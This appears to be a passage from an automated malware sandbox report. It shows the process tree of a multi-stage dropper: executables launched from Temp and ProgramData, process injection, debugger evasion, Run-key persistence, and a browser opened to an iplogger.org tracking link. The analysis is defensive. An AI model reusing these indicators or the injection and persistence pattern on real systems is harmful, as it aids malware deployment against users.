C:\ProgramData\7602381.exe"C:\ProgramData\7602381.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\ProgramData\5933275.exe"C:\ProgramData\5933275.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\5933275.exe"C:\ProgramData\5933275.exe"9⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 10769⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\ProgramData\5351303.exe"C:\ProgramData\5351303.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 6088⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6140 -s 3288⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\LYLA.exe"C:\Users\Admin\AppData\Local\Temp\LYLA.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\LYLA.exeC:\Users\Admin\AppData\Local\Temp\LYLA.exe8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-A33N9.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-A33N9.tmp\setup_2.tmp" /SL5="$1024E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\6.exe"C:\Users\Admin\AppData\Local\Temp\6.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4868 -s 17368⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue02e4526a7b.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exeTue02e4526a7b.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exeC:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exeC:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exeC:\Users\Admin\AppData\Local\Temp\7zS421D4CD3\Tue02e4526a7b.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/1BQfx77⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0xe0,0x104,0x108,0x48,0x10c,0x7ff9e6d046f8,0x7ff9e6d04708,0x7ff9e6d047188⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 /prefetch:28⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:38⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2796 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4748 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3896 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5232 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5496 /prefetch:18⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5692 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5692 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6408 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6444 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6724 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5276 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6236 /prefetch:28⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6844 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5012 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4788 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5428 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6248 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4676 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5952 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4536 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=6800 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7532 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4912 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3776 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5804 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4544 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7788 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6968 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3472 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7388 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7392 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5540 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7292 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7712 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7856 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7848 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5924 /prefetch:88⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7752 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7200 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:18⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,5913629791373269997,11877572355660299603,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:18⤵
-
